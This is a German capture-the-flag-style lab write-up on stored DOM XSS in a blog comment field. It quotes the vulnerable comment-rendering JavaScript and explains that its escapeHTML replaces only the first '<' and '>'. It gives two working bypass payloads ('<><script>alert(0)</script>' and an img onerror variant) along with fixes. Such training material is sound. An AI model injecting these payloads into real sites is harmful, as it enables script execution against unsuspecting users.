> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/web/xss/stored-dom-xss.md).

# DOM-Stored-XSS

### Gespeichertes DOM-XSS

Dieses Labor demonstriert eine im Blog-Kommentarfeld gespeicherte DOM-Schwachstelle. Um das Labor zu lösen, verwenden Sie diese Schwachstelle, um das `alert()` Funktion aufruft.

wenn Sie das klassische `Skript` in den Kommentarbereich einfügen:

```javascript
<script>alert(0)</script>
```

Wir bemerken, dass die Website einen Teil des Kommentars löscht.

<figure><img src="/files/bbdaacab7f5d3a15275ca7583619d1864ee01998" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/3f21b9c2a95741cfdb7ebab81f363898cdc7f6d9" alt=""><figcaption></figcaption></figure>

Die Funktion ist:

```javascript
function loadComments(postCommentPath) {
    let xhr = new XMLHttpRequest();
    xhr.onreadystatechange = function() {
        if (this.readyState == 4 && this.status == 200) {
            let comments = JSON.parse(this.responseText);
            displayComments(comments);
        }
    };
    xhr.open("GET", postCommentPath + window.location.search);
    xhr.send();

    function escapeHTML(html) {
        return html.replace('<', '&lt;').replace('>', '&gt;');
    }

    function displayComments(comments) {
        let userComments = document.getElementById("user-comments");

        for (let i = 0; i < comments.length; ++i)
        {
            comment = comments[i];
            let commentSection = document.createElement("section");
            commentSection.setAttribute("class", "comment");

            let firstPElement = document.createElement("p");

            let avatarImgElement = document.createElement("img");
            avatarImgElement.setAttribute("class", "avatar");
            avatarImgElement.setAttribute("src", comment.avatar ? escapeHTML(comment.avatar) : "/resources/images/avatarDefault.svg");

            if (comment.author) {
                if (comment.website) {
                    let websiteElement = document.createElement("a");
                    websiteElement.setAttribute("id", "author");
                    websiteElement.setAttribute("href", comment.website);
                    firstPElement.appendChild(websiteElement)
                }

                let newInnerHtml = firstPElement.innerHTML + escapeHTML(comment.author)
                firstPElement.innerHTML = newInnerHtml
            }

            if (comment.date) {
                let dateObj = new Date(comment.date)
                let month = '' + (dateObj.getMonth() + 1);
                let day = '' + dateObj.getDate();
                let year = dateObj.getFullYear();

                if (month.length < 2)
                    month = '0' + month;
                if (day.length < 2)
                    day = '0' + day;

                dateStr = [day, month, year].join('-');

                let newInnerHtml = firstPElement.innerHTML + " | " + dateStr
                firstPElement.innerHTML = newInnerHtml
            }

            firstPElement.appendChild(avatarImgElement);

            commentSection.appendChild(firstPElement);

            if (comment.body) {
                let commentBodyPElement = document.createElement("p");
                commentBodyPElement.innerHTML = escapeHTML(comment.body);

                commentSection.appendChild(commentBodyPElement);
            }
            commentSection.appendChild(document.createElement("p"));

            userComments.appendChild(commentSection);
        }
    }
};
```

* Das `escapeHTML(HTML)` die Funktion maskiert nicht **dass das erste** Vorkommen von `<` und `>` (Verwendung von `replace` einfach).
* Da der Code dann `innerHTML` zum Einfügen von Werten verwendet, können bösartige Tags erhalten bleiben und vom Browser interpretiert werden.
* Das Filtern ist daher nur für das erste Vorkommen wirksam; die folgenden Vorkommen bleiben verwundbar.

<figure><img src="/files/f9b45bc7c4c13982b6400d75c0dd17fc9c12306c" alt=""><figcaption></figcaption></figure>

* Verwenden Sie eine globale Ersetzung (`replaceAll` oder einen globalen regulären Ausdruck), um **alle** Vorkommen von `<` und `>`.
* Verwenden Sie nicht `innerHTML` für unzuverlässige Daten; bevorzugen Sie `textContent` oder `createTextNode`

<figure><img src="/files/eaa616ed541282ad031cbf031e1dd51a22eb6330" alt=""><figcaption></figcaption></figure>

Ausnutzbare Payloads

* Schließen und ein Skript einschleusen:

```javascript
<><script>alert(0)</script>
```

* Einen Bildfehler erzwingen, um `onerror:`

```javascript
<><img src=0 onerror=alert(0)>
```

Diese Payloads funktionieren, weil nur wenige Zeichen umgewandelt werden und weitere Vorkommen von `<`/`>` interpretierbar bleiben.

<figure><img src="/files/90df1d206b8303ec21b14ca283a9448d80695d46" alt=""><figcaption></figcaption></figure>


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